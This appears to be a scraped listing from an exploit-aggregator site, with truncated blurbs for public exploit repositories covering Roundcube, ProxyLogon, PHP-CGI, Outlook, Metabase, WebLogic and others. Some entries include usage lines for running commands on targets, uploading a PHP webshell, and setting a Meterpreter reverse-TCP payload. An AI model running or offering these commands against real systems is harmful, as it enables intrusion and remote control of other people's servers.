CVE-2025-49113

CVE-2025-49113 – Roundcube Webmail RCE Exploit Python PoC CVE ID: CVE-2025-49113 Exploit Type: Remote Code Execution via PHP Object Injection Application: Roundcube Webmail ≤ 1.5.9 and ≤ 1.6.10 Exploit Language: Python Author: 00xCanelo Status: Tested and Working on Vulnerable Roundcube...

0xKern3lCrush

💀 0xKern3lCrush-M4te-CVE-2026-0828 Windows BYOVD Research & Endpoint Recon Notes Strictly educational / security research repository. Goal: Document and understand Bring-Your-Own-Vulnerable-Driver BYOVD techniques via public disclosures — zero working exploits included. This repo collects: Safe...

CVE-2026-94214

A vulnerability was found in ST Engineering iDirect Evolution and Velocity WebServer Evolution up to 20260717. This affects an unknown part of the file /login.html of the component Management Service. Performing a manipulation of the argument Host results in open redirect. It is possible to...

CVE-2026-94216

A vulnerability was determined in ST Engineering iDirect Evolution and Velocity WebServer Evolution up to 20260717. This vulnerability affects the function authorize of the file /usr/sbin/webserver of the component HTTP Header Handler. Executing a manipulation of the argument Success can lead to...

CVE-2026-84285

An OS Command Injection vulnerability affecting Tuleap Enterprise Edition from 17.3 through 17.5 could allow an attacker to execute arbitrary commands on the server...

CVE-2024-4577-EXPLOIT

CVE-2024-4577 - PHP CGI Argument Injection Remote Code Execution RCE In certain versions of PHP 8.1. before 8.1.29, 8.2. before 8.2.20, and 8.3. before 8.3.8, a critical vulnerability exists when using PHP with Apache and PHP-CGI on Windows. If the system is configured to use specific code pages,...

wraith

WRAITH — browser hook framework A modern, standalone browser-hooking framework for red teams, security researchers, and educators — a clean-room successor to BeEF and the blind-XSS callback tools we live in. FOR AUTHORIZED SECURITY TESTING, RESEARCH & EDUCATION ONLY. WRAITH is an offensive-securi...

zygote-injection-toolkit

Zygote injection toolkit This is a Python command-line utility to easily run and backup private app data using the Android Zygote injection vulnerability CVE-2024-31317. To run this, you must have any device that has not been updated to the June 1, 2024 security patch. If you don't know whether...

CVE-2023-41772

CVE-2023-41772 / UIFuckUp UIFuckUp exploit to gain system privileges as user on Windows 10 1809 and up and 11. How To: 1. Compile uiaccessexploit.exe and uiaccessexploit.dll 2. Create directory C:\exploit 3. Place uiaccessexploit.exe, uiaccessexploit.dll and JuciyPotatoNG.exe in C:\exploit 4. Run...

cve-2023-23397

CVE-2023-23397 This script allows to create TNEF-encoded Outlook e-mails with CVE-2023-23397 exploit payload and send them via pure SMTP - no need in COM objects or EWS. I could not get IPM.Schedule.Meeting.Request message class to work properly it generates both meeting and the reminder but does...

CVE-2022-22947

SpringCloud-Gateway Command Execution Vulnerability CVE-2022-22947 Environment Setup Method 1: Clone the ready environment code from GitHub. GitHub Repository root@kitploit: //⚠️Note: The environment code download path must not contain Chinese characters or spaces git clone...

MetabaseRceTools

MetabaseRceTools CVE-2023-38646 Metabase RCE Tool CVE-2023-38646 RCE Graphical Exploitation Tool Verification Module Input the specified URL to detect unauthorized token Command Execution This module requires executing the verification module to obtain a token first JarLocation: the location of...

CVE-2018-0802_CVE-2017-11882

RTF118820802 CVE-2017-11882 CVE-2017-11882: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882 MITRE CVE-2017-11882: https://vulners.com/cve/CVE-2017-11882 Research: https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about Patch analysis:...

Rhacker

🔴 Rhacker Autonomous Penetration Testing Agent !Python...

ProxyLogon-CVE-2021-26855

ProxyLogon-CVE-2021-26855 RCE exploit for ProxyLogon vulnerability in Microsoft Exchange Working with Python 3.9 Usage: python proxylogonrce.py target email command Example: python proxylogonrce.py 192.168.227.137 [email protected] whoami All credits go to DEVCORE, based on...

CVE-2023-27470_Exercise

CVE-2023-27470 EoP via Arbirary File Deletion Exercise This repository contains a local privilege escalation exercise that replicates CVE-2023-27470. Your mission, should you choose to accept it, find the vulnerability and get a SYSTEM Command Prompt! If you would like the jump to the solution,...

privesc-CVE-2010-0426

Sudo 1.6.x=1.6.9p21 and 1.7.x=1.7.2p4 Local Privilege Escalation Sudo su "do" allows a system administrator to give certain users or groups of users the ability to run some or all commands as root while logging all commands and arguments. Vulnerable environment To setup a vulnerable environment f...

CVE-2022-24990

CVE-2022-24990 CVE-2022-24990 TerraMaster TOS unauthenticated RCE via PHP Object Instantiation Usage Vulnerability Detection. root@kitploit: python CVE-2022-24990.py -u http://127.0.0.1:8080 Upload a PHP webshell. root@kitploit: python CVE-2022-24990.py -a http://127.0.0.1:8080 Reference...

CVE-2018-2628

Test for Vulnerabilities Upload Shell Method one: Method two: Execute Shell Obtain Meterpreter root@kitploit: msf use exploit/multi/script/webdelivery msf exploitmulti/script/webdelivery set target 3 target = 3 msf exploitmulti/script/webdelivery set payload windows/meterpreter/reversetcp payload...

CVE-2021-40438

CVE-2021-40438 exploit PoC with Docker setup CD into the directory containing the Apache configuration and Dockerfile shared in repo. Building Image: docker build -t cve-2021-40438:1.0 . Running the Docker Image: docker run --rm -d -p 4444:80 cve-2021-40438:1.0 Note: You can also use Image ID...